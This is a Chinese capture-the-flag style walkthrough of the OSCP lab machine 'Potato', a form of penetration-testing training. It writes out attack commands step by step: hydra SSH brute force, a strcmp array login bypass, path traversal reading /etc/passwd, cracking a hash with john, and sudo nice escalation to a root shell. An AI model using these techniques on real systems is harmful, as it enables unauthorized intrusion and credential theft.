OSCP靶机-------Potato
今天来打一个OSCP的靶机,难度中等偏高,包含了端口探测,服务探测,ssh爆破,ftp匿名登录,前端代码审计,strcmp登录绕过,john爆破,sudo提权等等…靶场难度中等偏高,需要收集两个flag,一个flag低权限shell就可以获取,第二个要提权后才可以获取。希望大家看完可以有所收获。
启动环境
启动VPN:openvpn universal.ovpn
攻击机IP为:192.168.45.173
启动靶机:
靶机IP为:192.168.215.101
信息收集
1.端口
nmap扫描端口nmap --min-rate 10000 -p- 192.168.215.101
可以看到靶机开放三个端口;
22 ssh
80 http
2112 kip
端口服务探测:nmap -p 22,80,2112 -sV 192.168.215.101
探测到各端口对应服务为:
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
2112/tcp open ftp ProFTPD
2.端口测试
2.122-SSH端口
发现开启的22是ssh端口,且版本为 OpenSSH 8.2p1 Ubuntu,搜一下有没有对应的脚本:searchsploit OpenSSH 8.2
没有就试试手工弱口令:ssh root@192.168.215.101 -p 22
还是以失败告终,直接上ssh爆破,字典用msf,线程为6:hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.215.101 ssh -s 22
等待......
肯定是没有的,下一步。
2.280-http
访问一下80端口:
192.168.215.101:80
一个性感的土豆(狗头),啥都没有,不像有CMS的样子,扫一下目录看看。dirsearch -u http://192.168.215.101/
有admin看一下:
登录框,可以试一下万能密码和弱口令。admin' or '1'='1
啥口令都登不上去
看一下/admin/logs/,有一个目录。
没什么有用的信息,知道了用户是admin。
还有个/index.php/login/
土豆加载不出来,也没什么东西。
2.32112 ftp
2112端口是ftp服务,而且版本是 ProFTPD。先手工登录一下:ftp 192.168.215.101 -p 2112
用匿名用户anonymous登一下
允许匿名用户登录。收集一下有什么信息:
binary #二进制传输确保完整性
ls #列出当前目录
get index.php.bak
get welcome.msg #下载这两个文件
看一下下载到的两个文件:
啥也没有。
是一个登录页面的html代码。
攻击阶段
这里看到post传参的值是admin,和前面80端口收集到用户名一样。还有这里是一个strcmp函数,这个函数在进行对比,如果相同返回0不相同返回非0。它是一个PHP弱类型,这个函数比较的是字符串类型,如果强行传入其他参数就会出错,出错后返回0,返回0就可以绕过直接登录了。
理论成型,直接开干。
burp先抓个登录包。
既然strcmp比较的是字符串类型,那就把密码变成数组且等于1传过去,这样应该就会出错。
发包
成功登录,开心。
看到PING,还以为能有命令执行,结果不是。好像只有log能够跳转新站点。
get the log是一个文件读取的功能,抓包看看能不能用目录穿越读取别的东西。
这个POST传参是可以修改的,试一下目录穿越直接读取passwd。../../../../../etc/passwd
发包,成功读取到了psswd
读到了webadmin用户的加密密码,尝试一下爆破解密。将密码存到文件中:echo '$1$webadmin$3sXBxGUtDGIFAcnNTNhi6/' → passwd.hash
利用john爆破john passwd.hash
爆破出密码为dragon,直接ssh登录:ssh webadmin@192.168.215.101 -p 22
成功拿到shell
内网渗透
获取flag1:find / -name local.txt
cat /home/webadmin/local.txt
提权
1.内核overlayfs提权lsb_release -a
看看发行版本
20.04 不行
2.低内核版本提权uname -a
5.4.0-42 不行
3.Cron job提权cat /etc/crontab
查找定时任务。没有
4.sudo提权sudo -l
有东西:
(ALL : ALL) /bin/nice /notes/*
去https://gtfobins.github.io找提权方式:
搜索nice
在/notes/文件下任意内容都可以sudo执行nice
去一个可执行目录:
cd /tmp
echo '/bin/sh -p' > shell #写入shell
cat shell #查看shell
chmod +x shell #给shell加权限
利用目录穿越绕过sudo的限制sudo /bin/nice /notes/../../tmp/shell
成功提权。
获取flag2:cat /root/proof.txt
完结。